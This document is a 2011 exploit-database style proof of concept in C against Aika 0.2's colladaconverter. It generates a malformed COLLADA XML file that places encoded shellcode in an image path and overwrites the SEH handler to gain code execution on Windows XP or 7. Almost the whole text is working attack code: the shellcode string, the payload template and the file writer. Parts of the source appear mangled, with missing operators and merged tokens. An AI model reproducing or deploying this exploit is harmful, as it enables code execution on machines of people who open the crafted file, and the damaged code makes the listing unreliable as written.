Aika 0.2 colladaconverter Xml Parsing Buffer Overflow



/*

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    # Exploit Title: Aika colladaconverter buffer overflow exploit
    # Date: 09/11/2011
    # Author: isciurus
    # Software Link: http://aika.googlecode.com/files/aika-v02.zip
    # Version: 0.2
    # Tested on: Windows 7 x64
 
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
 
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
 
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/gpl-3.0.html>.
 
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
*/

#include <stdio.h>
#include <windows.h>
#include <stdlib.h>
#include "string.h"

char printableASCIIShellcode[] =     // encoded 499 bytes
    "WUQQUj3hKzJYSaRYjVCX4VGRH4z0BfXRQPPZjQX4QP2BM0BMX2Ai0BMXYZPOCKHG" // will be injected inside the file path ---------
    "OHOCHGCKHKkAgFCBMGKJEA3Ag2Bg0BgABE94ku2QmAiAszHthbzMIMQ8Uz9TFQWC" //                                                |
    "GDNW6jYeJ8l47kSCPlKPRZljwLskRH6RQ0OiKjRENz4TUYHTfu6rjMTi1NAjGwMF" //                                                |
    "RHxIjxgzoZnVXlGIXJbCJYhxKHXKvjyFXDDLbNydxzXT3vTJdfa7Hpp3VM1jUOVv" //                                                |
    "UJYuPT3vkOQIPYGxa6Rk6NOaV9PEH56Mrrz5ZSPLOAvKIsFOCbfqWBRXPCNWSmJf" //                                                |
    "EVCXNoYNR9oDOaWoykz1Ev3TxcSHQz4ZOOLxlGBjsDGWGJs1EOCNqaAAOWHAMWCx" //                                                |
    "JEFIrTQ70vEFELaCIPPAPP0GUSmGfq1ZioUNQQATGCISZuJHNKRnlC3baNSAvIRO" //                                                |
    "HLvt4zVFHLkLxBQR5XsKpEN90RgdBZlNmISLELGsEL0myBVKzJY";             //                                                |
                                                                       //                                                |
char xml[] =                                                           //                                                |
    "<?xml version=\"1.0\" encoding=\"utf8\"?>"                        //                                                |
    
"<COLLADA xmlns=\"http://www.collada.org/2005/11/COLLADASchema\" version=\"1.4.1\">" //                              |
    
"<asset>"                                                                            //                              |
    
"    <contributor>"                                                                  //                              |
    
"        <author>isciurus</author>"                                                  //                              |
    
"        <comments>The shellcode encoded with http://www.exploit-db.com/exploits/13286/</comments>" //               |
    
"    </contributor>"                                                                 //                              |
    
"    <created>2011-09-04T22:29:59Z</created>"                                        //                              |
    
"    <modified>2011-09-04T22:29:59Z</modified>"                                      //                              |
    
"    <unit meter=\"0.01\" name=\"centimeter\"/>"                                     //                              |
    
"    <up_axis>Y_UP</up_axis>"                                                        //                              |
    
"</asset>"                                                                           //                              |
    
"<library_cameras>"                                                                  //                              |
    
"    <camera id=\"cameraShape1\" name=\"cameraShape1\">"                             //                              |
    
"        <optics>"                                                                   //                              |
    
"            <technique_common>"                                                     //                              |
    
"                <perspective>"                                                      //                              |
    
"                    <yfov>37.8492</yfov>"                                           //                              |
    
"                    <aspect_ratio>1.5</aspect_ratio>"                               //                              |
    
"                    <znear>1</znear>"                                               //                              |
    
"                    <zfar>10000</zfar>"                                             //                              |
    
"                </perspective>"                                                     //                              |
    
"            </technique_common>"                                                    //                              |
    
"        </optics>"                                                                  //                              |
    
"    </camera>"                                                                      //                              |
    
"</library_cameras>"                                                                 //                              |
    
"<library_lights></library_lights>"                                                  //                              |
    
"<library_images>"                                                                   //                              |
    
"    <image id=\"file2\" name=\"file2\" depth=\"1\">"                                //                              |
    
"        <init_from>E:\\aika\\"                                                      //  <---------------------------
    
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
    "SSSSSSSSSSSSSSADDR_1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    
//             ^
    //             | 
    //              ------------------------------------------------- the shellcode will be copied at this address
    
"AAAAA"
    "        </init_from>"
    "    </image>"
    "    <image id=\"file3\" name=\"file3\" depth=\"1\">"
    "        <init_from>E:\\aika\\"
    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" 
    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
    "BBBBBBBBADDR_2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    
//       ^
    //       | 
    //        -------------------------------------------------------- these bytes will overwrite SEH handler
    
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 
// this part forces the application to write outside                            
    
"AAAAAAAAAAAAAAAAAAAA"                                              // the stack and triggers AV exception        
    
"        </init_from>"
    "    </image>"
    "</library_images>"
    "<library_materials>"
    "    <material id=\"blinn3\" name=\"blinn3\">"
    "        <instance_effect url=\"#blinn3-fx\"/>"
    "    </material>"
    "</library_materials>"
    "<library_geometries>"
    "    <geometry id=\"LOD3spShape-lib\" name=\"LOD3spShape\">"
    "        <mesh>"
    "            <source id=\"LOD3spShape-lib-positions\" name=\"position\">"
    "                <technique_common>"
    "                    <accessor count=\"2108\" offset=\"0\" source=\"#LOD3spShape-lib-positions-array\" stride=\"3\">"
    "                        <param name=\"X\" type=\"float\"/>"
    "                        <param name=\"Y\" type=\"float\"/>"
    "                        <param name=\"Z\" type=\"float\"/>"
    "                    </accessor>"
    "                </technique_common>"
    "            </source>"
    "            <source id=\"LOD3spShape-lib-normals\" name=\"normal\">"
    "                <technique_common>"
    "                    <accessor count=\"2290\" offset=\"0\" source=\"#LOD3spShape-lib-normals-array\" stride=\"3\">"
    "                        <param name=\"X\" type=\"float\"/>"
    "                        <param name=\"Y\" type=\"float\"/>"
    "                        <param name=\"Z\" type=\"float\"/>"
    "                    </accessor>"
    "                </technique_common>"
    "            </source>"
    "            <source id=\"LOD3spShape-lib-map1\" name=\"map1\">"
    "                <technique_common>"
    "                    <accessor count=\"2277\" offset=\"0\" source=\"#LOD3spShape-lib-map1-array\" stride=\"2\">"
    "                        <param name=\"S\" type=\"float\"/>"
    "                        <param name=\"T\" type=\"float\"/>"
    "                    </accessor>"
    "                </technique_common>"
    "            </source>"
    "            <vertices id=\"LOD3spShape-lib-vertices\">"
    "                <input semantic=\"POSITION\" source=\"#LOD3spShape-lib-positions\"/>"
    "            </vertices>"
    "            <triangles count=\"4212\" material=\"blinn3SG\">"
    "                <input offset=\"0\" semantic=\"VERTEX\" source=\"#LOD3spShape-lib-vertices\"/>"
    "                <input offset=\"1\" semantic=\"NORMAL\" source=\"#LOD3spShape-lib-normals\"/>"
    "                <input offset=\"2\" semantic=\"TEXCOORD\" source=\"#LOD3spShape-lib-map1\" set=\"0\"/>"
    "                <p>375</p>"
    "            </triangles>"
    "        </mesh>"
    "    </geometry>"
    "</library_geometries>"
    "<scene>"
    "    <instance_visual_scene url=\"#VisualSceneNode\"/>"
    "</scene>"
    "</COLLADA>"
;

int main(int argcchar **argv)
{
    
FILE *xml_file;
    
char win7;
    
char *offset;
    
char *ll;

    if(
argc 2)
    {
        
printf("\nUsage: aika_bof <malformed_collada_xml_path>");
        return 
0;
    }

    if(
sizeof(printableASCIIShellcode) > 644)
    {
        
printf("\nSorry, the shellcode is too long, 644 chars is maximum");
        return 
0;
    }
    
    while(
1)
    {
        
char os;

        
printf("\nChoose OS version ([X] for Windows XP, [7] for Windows 7):");
        
os tolower(getchar());
        
        if(
os == 'x')
        {
            
win7 0;
            break;
        }
        else if(
os == '7')
        {
            
win7 1;
            break;
        }
        else
        {
            
printf("\nUnknown OS version");
        }
    }

    
printf("\n[*] Injecting the shellcode into the xml...");

    
offset strstr(xml"SSSSSSSSSSSSSSSSSSSSSSSSSSSS");
    
strncpy(offsetprintableASCIIShellcodesizeof(printableASCIIShellcode) - 1);
    
    if(
win7 == 1)
    {
        
offset strstr(xml"ADDR_1");
        
strncpy(offset"%40%02"sizeof("%40%02") -1);
        
offset strstr(xml"ADDR_2");
        
strncpy(offset"%40%02"sizeof("%40%02") -1);
    }
    else
    {
        
offset strstr(xml"ADDR_1");
        
strncpy(offset"%40%01"sizeof("%40%01") -1);
        
offset strstr(xml"ADDR_2");
        
strncpy(offset"%40%01"sizeof("%40%01") -1);
    }

    
printf("done");

    
printf("\n[*] Writing %d bytes to %s..."sizeof(xml), argv[1]);
    
    
xml_file fopen(argv[1], "wb");
    if(
xml_file == NULL)
    {
        
printf("\nerror while opening %s"argv[1]);
        return 
0;
    }
    
    if(
fwrite(xml1sizeof(xml) - 1xml_file) != sizeof(xml) - 1)
    {
        
printf("\nerror while writing into %s"argv[1]);
        return 
0;
    }

    
printf("done");    
}